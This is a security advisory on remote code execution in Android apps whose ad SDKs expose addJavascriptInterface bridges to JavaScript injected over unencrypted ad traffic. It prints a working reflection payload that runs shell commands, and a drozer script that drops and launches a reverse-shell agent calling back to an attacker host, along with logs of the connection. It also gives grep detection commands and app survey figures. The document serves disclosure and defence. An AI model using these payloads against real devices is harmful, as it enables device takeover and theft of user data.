WebView addJavascriptInterface Remote Code Execution

Recently we have been researching vulnerabilities within cross platform mobile application development frameworks. Whilst performing this research we have identified a number of issues. The advisory details one of the more serious of the issues, which affects all current Android platforms and devices. The issue allows an attacker to execute arbitrary code on Android devices. The vulnerability is exploited by injecting JavaScript into a WebView). We have released output from related research previously; see the previous post Adventures With Android WebViews for background information.

Lately we have been analysing mobile advertising networks and in particular the Software Development Kit (SDK) that the networks make available to application developers for the purpose of monetising their applications. During this research we have found that a lot of applications expose mobile device users to the threat of compromise. We have found a number of exploitable (cross platform) vulnerabilities and expect to find more as research continues. We are in the early stages of the research and we will be conducting further research in this area; however we have decided to release this advisory now as to help Android users take appropriate actions to protect themselves.

Many advertising networks make an SDK available to application developers to ‘ease’ integration. The SDK contains header files and a static library. Header files contain function declarations that are imported into a project so that the functions can be called. The library file contains the actual executable code that does the work. This is linked in by the linker to provide the actual functionality (the definitions rather than just the declarations). The advertising networks require the application to display content within a WebKit WebView. WebKit is an open source web browser engine that powers browsers such as Google Chrome, Apple Safari, the default iOS and Android browsers etc. WebView is the core view class in the WebKit framework.

Many free apps use a WebView to load HTML content as an in-process web browser and the advertising network SDK uses the browser instance to facilitate advertisement loading from remote advertiser networks. These advertisements are loaded over a clear text channel (HTTP) and are susceptible to Man in the Middle (MitM) attacks. An attacker able to MitM the communications with the advertising network can inject arbitrary JavaScript into the WebView.

Advertising networks gather metrics so that they can tailor campaigns and target specific ‘audiences’. Advertisers pay a lot of money for accurate metrics and/or successful delivery of targeted advertisements. Advertising networks also want to leverage the mobile device platform to deliver ‘rich media’ advertisements. To achieve their goals, access to the platform/devices native capabilities is often required. This is realised by implementing a “native bridge”. It is possible to call ‘native’ code from a rendered WebView by using JavaScript. This is achieved on the Android platform in two different ways, the first is to use the public methods shouldOverrideUrlLoading – see the Android developer site for details on this method. An example implementation is:

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
  if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
    // parse the URL object and execute functions
  }
}

A call into Java can then be initiated from Java Script by passing parameters within the URL:

window.location = yourscheme://method?parameter=value

The second method available for the Android platform is to use the android.webkit.JavascriptInterface interface – see the Android developer site for details on the interface. An example implementation is:

public class WebViewGUI extends Activity {

  WebView mWebView;
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    mWebView=new WebView(this);
    mWebView.getSettings().setJavaScriptEnabled(true);
    mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
    mWebView.loadUrl("file:///android_asset/www/index.html");
    setContentView(mWebView);
  }

  final class JavaScriptInterface {
    JavaScriptInterface () { }
    public String getSomeString() {
      return "string";
    }
  }
}

A call into Java can be initiated from Java Script as such:

var String = window.jsinterface.getSomeString();

The WebView JavaScript bridge can be abused to execute arbitrary Java code, by using reflection to acquire a reference to a runtime object via the interface implemented in the Java code above. Note: The JavaScriptInterface can be named anything, “jsinterface” has been chosen for illustration purposes only.

The issue has been disclosed publicly in an article authored by ‘Neil’ titled Abusing WebView JavaScript Bridges on December the 21st, 2012. The issue is alluded to in a paper titled Static Analysis of Dalvik Bytecode and Reflection in Android authored by Erik Ramsgaard Wognsen and Henrik Søndberg Karlsen. However we found no other references to it or discussions with regards to active exploitation online, prior to presenting this issue and related research on the 13th September at the 44CON conference. On the 16th September this was posted online, detailing how the issue can be used to send SMS.

The following JavaScript, if injected into a WebView that implements a native bridge using the android.webkit.JavascriptInterface interface, will result in the execution of operating system commands (via java.lang.Runtime).

<script>
function execute(cmd){
  return window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

We can go even further and use this vector to drop in a ‘drozer’ payload for a much more feature rich exploitation experience; drozer is an Android security assessment framework (think Metasploit for Android) and can be found here. Weasel is a binary that aids in the loading and running of a drozer agent once code execution has been gained on an Android device (think meterpreter for Android). To do this we can use drozer to generate a ‘weasel’ payload.

$ drozer payload list
shell.reverse_tcp.armeabi   Establish a reverse TCP Shell (ARMEABI)                                                                                   
weasel.reverse_tcp.armeabi  weasel through a reverse TCP Shell (ARMEABI)                                                                              
weasel.shell.armeabi        Deploy weasel, through a set of Shell commands (ARMEABI)
   
$ drozer payload build weasel.shell.armeabi | grep echo | awk -F \" {'gsub("\\\\","\\\\");
print "execute([\x27/system/bin/sh\x27,\x27-c\x27,\x27 echo -e \\\""$2"\\\" > \x27+path]);"'}

Which will give you a one liner to embed into the JavaScript payload:

execute(['/system/bin/sh','-c','echo -e "…………………" > '+path]);

The payload we are going to inject (with the binary stripped for readability) is below:

$ cat drozer.js
var host = '192.168.1.99';
var port = '31415';
var path = '/data/data/com.vuln.app/files/weasel';
function execute(cmd){
  return window.interface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/rm',path]);
execute(['/system/bin/sh','-c','echo -e "…………………" > '+path]);
execute(['/system/bin/chmod','770',path]);
execute([path,host,port]);

If the payload is injected into the WebView as above it will write and execute the weasel payload. The command below starts the drozer server and as can be seen, the payload has executed and connected back to the drozer server:

$ drozer server start
Starting drozer Server, listening on 0.0.0.0:31415
2013-08-06 15:02:08,238 - drozer.server.protocols.http - INFO - GET /agent.jar
2013-08-06 15:02:08,256 - drozer.server.protocols.http - INFO - GET /agent.apk
2013-08-06 15:02:08,808 - drozer.server.protocols.drozerp.droidhg - INFO - accepted connection from 47k5n8v3nbdpg
2013-08-06 15:02:08,834 - drozer.server.protocols.shell - INFO - accepted shell from 192.168.1.99:63804

The command below will list the connected remote devices:

$ drozer console devices
List of Bound Devices
Device ID         Manufacturer         Model                 Software   
47k5n8v3nbdpg     unknown              unknown               unknown   

The command below can then be used to connect to our listening console:

$ drozer console connect 47k5n8v3nbdpg

           ..                    ..:.
          ..o..                  .r..
           ..a..  . ....... .  ..nd
             ro..idsnemesisand..pr
             .otectorandroidsneme.
          .,sisandprotectorandroids+.
        ..nemesisandprotectorandroidsn:.
       .emesisandprotectorandroidsnemes..
     ..isandp,..,rotectorandro,..,idsnem.
     .isisandp..rotectorandroid..snemisis.
     ,andprotectorandroidsnemisisandprotec.
    .torandroidsnemesisandprotectorandroid.
    .snemisisandprotectorandroidsnemesisan:
    .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.0)

dz> 

At this point, the attacker is able to perform a number of attacks against the device using drozer. The lowest impact attack would be downloading contents of the SD card and the exploited application’s data directory. However, depending on the device that was exploited this could extend to obtaining root privileges, retrieving other sensitive user data from the device or causing the user monetary loss.
We have analysed a large number of advertising network SDK’s and found that a lot of these implement bridges that are vulnerable to exploitation. Some advertising network SDK’s obtained from the advertising networks directly were found to not be vulnerable (in their most recent versions). However a lot of applications on the “Google Play Store” were found to be using old versions of the SDK’s, which are vulnerable.

Note: If the linked SDK has been built for an API lower than 17, the vulnerability exists – even if the application using the SDK has been built for API 17 or above. This issue is exploitable on all devices and versions of Android.

The command below can be used to identify the presence of the JavascriptInterface (after decompiling the app you are inspecting):

$ grep -r -n -i --include=*.java addJavascriptInterface *

The command below can be used to indicate if the code has been built for API 17 (or above) and includes the ‘@JavascriptInterface’ annotation:

$ grep -r -i --include=*.java \@JavascriptInterface *

Note: Packages were decompiled using jd-gui in order to ensure annotations were included.

On the 30th of July 2013, MWR downloaded the top 100 Android applications in the “Google Play Store” and analysed the applications. Out of the apps that were profiled, there were a number of apps which did not use ads as a monetisation strategy, due to being popular subscription services (like Netflix) or being free services funded in some other way (such as eBay). This means that (as of 30/07/2013) 21/100 of the top 100 free apps are ad-free. Of the remaining 79 applications it was discovered that many used multiple advertising libraries or frameworks are in use. The results are presented below:

Number of ad networks identified:

Admob (Google) 60
InMobi 33
MdotM 2
Admarvel 3
Flurry 33
Tapjoy 18
Millenial Media 27
Medialets 13
Greystipe 12
adWhirl 3
freewheel 1

Number of ad frameworks identified:

MoPub 14
Burstly 8
Mobclix 21
Mocean 2

These applications were examined to determine how many are vulnerable to this issue. The APK’s for the applications were downloaded and decompiled. The source was searched for the use of addJavascriptInterface before being searched for the presence of the @JavascriptInterface annotation. Any package or linked ad SDK that contained the annotation was dismissed.

The findings indicated that 62 of the 100 apps are ‘potentially’ vulnerable. Not all of the interfaces are implemented within ad networks and not all of the interfaces are present in WebViews that load content remotely over a clear text channel. We didn’t investigate each and every package.

A script was then crafted to automatically download Android applications, decompile them and identify if an ad network was in use, and if so determine if it is vulnerable. Out of the 1,000 top applications 570 were found to be vulnerable.

According to AppBrain on the 30/07/2013 there were 655,325 free apps and 153,813 paid apps; 809,138 apps in total. AppBrain is a website for discovering Android apps. AppBrain also includes stats on the number of apps that integrate ad network SDK’s out of all of the apps in the “Google Play Store”. This clearly illustrates just how many applications are potential targets for attack. The page lists 77 ad networks/ad frameworks. It is unfeasible for us to analyse each and every SDK to determine its exploitability and as previously stated; even if the latest SDK available is not vulnerable, there may well be apps in the market place that haven’t upgraded their SDK from a vulnerable version and are therefore vulnerable.